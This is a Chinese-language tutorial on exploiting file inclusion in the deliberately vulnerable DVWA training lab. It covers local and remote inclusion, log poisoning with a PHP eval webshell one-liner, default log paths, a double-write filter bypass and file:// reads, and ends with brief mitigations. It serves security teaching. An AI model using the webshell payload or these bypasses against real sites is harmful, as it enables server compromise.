DVWA漏洞靶场-文件包含(File Inclusion)
基本知识:php中引发文件包含漏洞的通常是以下四个函数:
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。 在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。 分类:本地文件包含: 指的是能打开并包含本地文件的漏洞。 远程文件包含: 只有当?allow_url_fopen = On,allow_url_include = On 都开启时,才能进行远程文件包含 ? 1.low 级别? 通过源码看到,直接对传入的page参数进行了包含,未作任何过滤 1. 本地文件包含我dvwa搭建在windows,我现在d盘新建flag.txt,包含方式如下: 但一般在没获取到目录信息的情况下,我们可以对日志的默认位置进行包含 windows: apache/logs/access.log apache/logs/error.log linux: /var/log/apache/access.log /var/log/apache2/access.log /var/log/apache/access_log /var/www/logs/access_log /var/log/access_log 相应的的也有error.log 利用web日志包含 localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST[‘shell‘]);?> ? ?注意浏览器会对特殊字符进行url编码,导致写入一句话失败,可以用burpsuite抓包解码再转发 这样日志中就记录了这次请求,接下来包含日志,就有了一句话木马 也可对ssh日志进行包含等多种方式,ssh日志默认位置 /var/log/auth.log 1. 远程文件包含http进行包含,利用条件:allow_url_fopen on & allow_url_include on(默认关闭) http://localhost/dvwa/vulnerabilities/fi/?page=http://www.baidu.com ? ? 2.medium 级别查看源码 发现使用str_replace对http://,https:// 替换成空 对于str_replace函数进行的过滤,可以使用双写进行绕过 http://localhost/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com ? ?发现包含成功 ? ? 3.high 级别?查看源码 ? ?传入的page要以file开头,可以使用file://协议进行文件读取 ? 总结进行白名单过滤 open_basedir php授权目录设置 open_basedir 可将用户访问文件的活动范围限制在指定的区域 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |